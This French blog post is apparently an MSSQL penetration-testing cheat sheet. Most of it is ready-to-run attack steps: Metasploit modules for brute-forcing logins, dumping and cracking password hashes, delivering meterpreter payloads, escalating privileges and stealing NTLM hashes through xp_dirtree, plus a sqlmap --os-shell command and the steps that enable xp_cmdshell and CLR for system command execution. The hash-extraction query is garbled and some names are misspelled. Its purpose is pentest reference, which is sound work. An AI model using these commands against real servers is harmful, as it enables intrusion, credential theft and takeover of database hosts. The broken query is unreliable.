MSSQL pentest cheatsheet

To the non-french speaker, note that you can translate the articles using the Google Trad widget situated at the bottom of all pages.


  • Utilisateur par défaut : l’utilisateur par défaut est « sa » (sysadmin). C’est l’utilisateur privilégié sur une base de données MSSQL.
  • Ports d’écoute : 1433 en TCP et 1434 en UDP.
  • MSSQL ping : module metasploit auxiliary/scanner/mssql/mssql_ping (nom du serveur, nom de l’instance, version et np
  • Bruteforce authentification : (Metasploit) auxiliary/scanner/mssql/mssql_login

Attention : le serveur MSSQL peut être sous GPO et/ou avoir une politique locale de sécurité -> pas plus de 3 tentatives.

  • Client de connexion tsql :

Installation :

apt installunixodbc unixodbc-dev freetds-dev freetds-bin tdsodbc

Utilisation :

tsql -H SERVEUR -p PORT -U USER -P PASS
  • Enumération (Metasploit) :

-Enumération des options MSSQL : auxiliary/admin/mssql/mssql_enum
-Enumération des utilisateurs du domaine : auxiliary/admin/mssql/mssql_enum_domain_accounts

  • Si présence d’une injection SQL :
sqlmap -r requete --dbms=mssql --sql-shell ou --os-shell

–sql-shell nous permettra d’interagir directement avec la base de données
–os-shell nous permettra de lancer des commandes système via l’utilisation de la procédure xp_cmdshell ou du CLR (voir plus bas).

  • Extraction des hashs des comptes d’utilisateurs de la base :

Les hash sont stockés en hexadecimal dans la base  il faut donc effectuer une conversion avant de les extraire via « fn_sqlvarbasetostr » :

select name, master.select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_logins

Possibilité de le faire via le module Metasploit : auxiliary/scanner/mssql/mssql_hashdump si on dispose d’un compte valide.

Les hashs sont de différents formats suivant la version de la base MSSQL :

Version Algorithme Identifiant
2012 / 2014 / 2016 et + SHA-512 Commence par 0x0200
Avant 2012 SHA-1 Commence par 0x0100

On pourra casser les hash avec john ou hascat :

john --format=mssql12 --wordlist ="" hash.txt
hashcat -a 3 -m 1731 hash.txt dictionnaire
  • Exécution de commandes système via xp_cmdshell :

On pourra l’activer comme ceci (si on dispose des droits suffisants) :

EXEC sp_configure 'show advanced options',1
GO
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
GO
RECONFIGURE

Et l’utilisez ainsi :

EXEC xp_cmdshell 'whoami'
GO

Possibilité d’utiliser le module Metaspoit : auxiliary/admin/mssql/mssql_exec mais un exécutable sera droper sur le serveur.

  • Exécution de commandes système via CLR (Common Language Runtime) :

CLR est un moteur d’exécution intégré à MSSQL qui va nous permettre de créer des procédures stockées, des déclencheurs (triggers) ainsi que d’exécuter du code C#.

Par défaut la CLR est désactivée mais on pourra l’activer encore une fois à l’aide de la procédure sp_configure :

EXEC sp_configure 'show advanced options',1
GO
RECONFIGURE
EXEC sp_configure ‘clr enabled’, 1
GO
RECONFIGURE

Possibilité d’utiliser le module Metasploit : exploit/windows/mssql/mssql_clr_payload utiliser l’exitfunc thread pour ne pas casser la base de données en cas d’erreur.

  • Exécution de payload (reverse/bind/meterpreter) shell :

Le module exploit/windows/mssql/mssql_payload va encoder en base64 un payload et l’écrire sur le serveur distant (via la méthode du echo « content » > payload.exe) puis le décoder et l’exécuter (voir From telnet to NT System).

  • MSSQL database priv esc :

Modules : auxiliary/admin/mssql/mssql_escalate_dbowner et auxiliary/admin/mssql/mssql_escalate_execute_as ces deux modules se servent de l’attribut « trustworthy’ d’une base de données. Si l’attribut trustworhthy est placé sur une base de données qui appartient à sa alors on pourra l’impersonifier.

  • Heap based overflow sp_replwriteovarbin (RCE) :

Version affectée : MSSQL 200 et 2005.
Bulletin de sécurité : MS09-004

Module : exploit/windows/mssql/ms09_004_sp_replwritetovarbin
Attention à la target !

  • MSSQL NTLM relay :

Possibilité de relayer une authentification en utilisant la procédure xp_dirtree (qui va nous permettre de lister le contenu d’un répertoire local ou distant : auxiliary/admin/mssql/mssql_ntlm_stealer.

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l'aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s